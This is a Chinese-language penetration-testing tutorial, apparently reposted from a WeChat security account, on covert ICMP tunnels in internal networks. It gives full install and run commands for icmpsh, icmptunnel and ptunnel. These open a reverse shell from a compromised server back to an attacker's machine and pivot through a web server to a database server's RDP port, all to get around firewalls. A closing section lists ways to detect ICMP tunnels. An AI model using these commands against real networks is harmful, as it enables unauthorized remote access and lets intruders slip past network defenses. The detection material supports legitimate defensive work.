内网渗透之ICMP隐藏隧道

admin 2022年2月12日02:42:50评论252 views字数 3803阅读12分40秒阅读模式

前言

内网渗透完成信息收集后,流量是否能够正常进出,是内网渗透中需要考虑的地方之一

ICMP(Internet ControllerMessages Protocol,网间控制报文协议)是TCP/IP协议族的子协议,是一种面向无连接的协议。用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

参考文章:https://baike.baidu.com/item/ICMP/572452?fr=kg_qa

在一些网络环境中,如果攻击者使用各类上层隧道(例如HTTP隧道,DNS隧道,正反向端口转发等)进行操作均失败。那么可以尝试使用ICMP建立隧道,ICMP协议不需要端口的开放,因为其基于IP工作的,所以我们将其归结到网络层,ICMP消息最为常见的就是ping命令的回复,将TCP/UDP数据包封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙是不会屏蔽ping数据包的)

建立ICMP隧道

用于建立ICMP隧道的工具一般用icmpshicmptunnelptunnelicmpshell

工作原理

请求端的 Ping 工具通常会在 ICMP 数据包后面附加上一段随机的数据作为 Payload,而响应端则会拷贝这段 Payload 到 ICMP 响应数据包中返还给请求端,用于识别和匹配 Ping 请求。

Windows 和 Linux 系统下的 Ping 工具默认的 Payload 长度为 64 比特,但实际上协议允许附加最大 64K 大小的 Payload。

对于隧道数据,icmptunnel 首先会指定客户端和服务器端。随后,客户端会将 IP 帧封装在 ICMP 请求数据包中发送给服务器,而服务器端则会使用相匹配的 ICMP 响应数据包进行回复。这样在旁人看来,网络中传播的仅仅只是正常的 ICMP 数据包。

icmpsh

工具安装

git clone https://github.com/inquisb/icmpsh.git #下载工具

apt-get install python-impacket #安装依赖

sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭本地ICMP应答


icmpsh的使用场景如下:

内网渗透之ICMP隐藏隧道

 服务器暴露在外网上,可以访问外部网络,但是服务上有防火墙,拒绝了敏感端口的连接(比如22端口,3389端口等)。使用icmpsh的目的就是为了能够绕过对敏感端口的限制,此时ICMP作为获取反向shell的通道,进行反向shell.

攻击者IP地址:192.168.1.76
服务器IP地址:192.168.1.113


被攻击的服务器端运行

icmpsh.exe -t 192.168.1.76(攻击者)



内网渗透之ICMP隐藏隧道



攻击者端运行icmpsh的控制端

python icmpsh_m.py 192.168.1.76(攻击者) 192.168.1.113(被攻击者)


内网渗透之ICMP隐藏隧道


 观察wireshare的流量变化,可以看到这里是由192.168.1.113192.168.1.76发出request请求,这里也就印证了这里进行的是反向shell。


内网渗透之ICMP隐藏隧道


icmptunnel

icmptunnel的优势在于可以穿过状态防火墙或NAT

一些设备会过滤没有匹配响应数据包的 Ping 包。而在非对称连接中,来自服务器端的流量会大于客户端,反之亦然,这样客户端可能会丢弃一些相应数据包,因为响应数据包多余请求数据包。

icmptunnel 有一个机制来专门解决这个问题。客户端会定期发送一个空的 ICMP 请求数据包给状态防火墙或 NAT,而这些请求数据包都会被记录在防火墙状态表中。同时通过保持发送带有载体的数据包,这样客户端会维持一个可以用于服务器端发送数据的“数据包窗口”。

参考:https://www.cnblogs.com/bonelee/p/7462218.html


安装icmptunnel

git clone https://github.com/jamesbarlow/icmptunnel.git  
cd icmptunnel
make


可能会出现缺少头文件的问题,

参考文章:https://blog.csdn.net/zhutingting0428/article/details/51120949

使用场景和icmpsh一样(被攻击对象为linux的情况下)

攻击者IP:192.168.1.76
被攻击者的IP:192.168.26


攻击者开启icmptunnel服务端模式:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel –s


内网渗透之ICMP隐藏隧道


然后另开一个终端,执行命令

/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0


指定一个网卡tun0,用于给隧道服务器端分配一个IP地址(10.0.0.1)

内网渗透之ICMP隐藏隧道


被攻击者

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.76



内网渗透之ICMP隐藏隧道


连接上攻击者的icmptunnel服务端,然后再开一个终端,执行命令

/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0


指定IP地址为10.0.0.2

内网渗透之ICMP隐藏隧道


此时建立了icmp隧道,在服务器端通过ssh连接被攻击对象

内网渗透之ICMP隐藏隧道


ptunnel


 ptunnel就是工具pingtunnel

安装过程如下:

#安装libpcap的依赖环境
yum -y install byacc
yum -y install flex bison

#安装libpcap依赖库
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -xzvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

#安装PingTunnel
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -xzvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install


参考:https://mp.weixin.qq.com/s/AuGriK1Bha83rVYlGJpuUA

该工具在kali中是已经集成好的

现有场景如下:一个内网中,有一台Web服务器,一台数据库服务器,Web服务器可以ping通过数据库服务器,但是不能直接访问数据库服务器,已知数据库服务器此时有开启3389端口。

攻击者的IP地址:192.168.1.107(win7)
攻击者的VPS地址:192.168.1.76(kali)

web服务器的IP地址:192.168.1.26(外网) 172.168.1.16(内网)(kali)
数据库服务器的IP地址:172.168.1.18(内网)(win server 2008)


在攻击者的vps(192.168.1.76)中执行如下命令

ptunnel -p 192.168.1.26 -lp 1080 -da 172.168.1.18 -dp 3389 -x cookie


-p  跳板的公网IP
-lp 指定本机的监听端口
-da 目标服务器的内网IP
-dp 指定目标服务器的端口
-x 为隧道写一个隧道密码,防止隧道滥用


内网渗透之ICMP隐藏隧道

 在Web服务器中执行命令

ptunnel -x cookie


内网渗透之ICMP隐藏隧道

在攻击者的机器上访问自己的vps的1080端口

内网渗透之ICMP隐藏隧道



可以看到我们虽然连接的是192.168.1.76,但是我们通过使用web服务器作为跳板,将vps的1080端口与数据库服务器的3389端口连接在一起了。


内网渗透之ICMP隐藏隧道


 观察wireshark的流量变化情况


内网渗透之ICMP隐藏隧道


内网渗透之ICMP隐藏隧道


应对icmp隧道措施

使用icmp隧道时,会集中在某个时间点产生大量的icmp数据包,可以通过wireshark进行icmp数据包分析

1.检测同源的icmp数据包数量,正常的ping命令每秒最多两个数据包,隧道会产生大量的数据包。

2.注意payload大于64bit的ICMP数据包

3.寻找响应数据包和请求数据包payload不一致的ICMP数据包。

windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes

linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567


参考:https://www.freebuf.com/articles/network/202634.html

4.检查ICMP数据包的协议标签,比如icmptunnel会在所有icmp payload前面加上TUNL标识来标识隧道。


邀请码

请各位师父,多多发表文章,论坛会固定清理不活跃用户https://www.cnsuc.net/user-create.htm (论坛注册地址)222B34987244B8A8A32229BDE7F0311C40A6 


来源:先知 

注:如有侵权请联系删除

内网渗透之ICMP隐藏隧道

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)

内网渗透之ICMP隐藏隧道

你未来的样子,

就藏在你现在的努力里。


原文始发于微信公众号(衡阳信安):内网渗透之ICMP隐藏隧道

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月12日02:42:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透之ICMP隐藏隧道http://cn-sec.com/archives/775171.html

发表评论

匿名网友 填写信息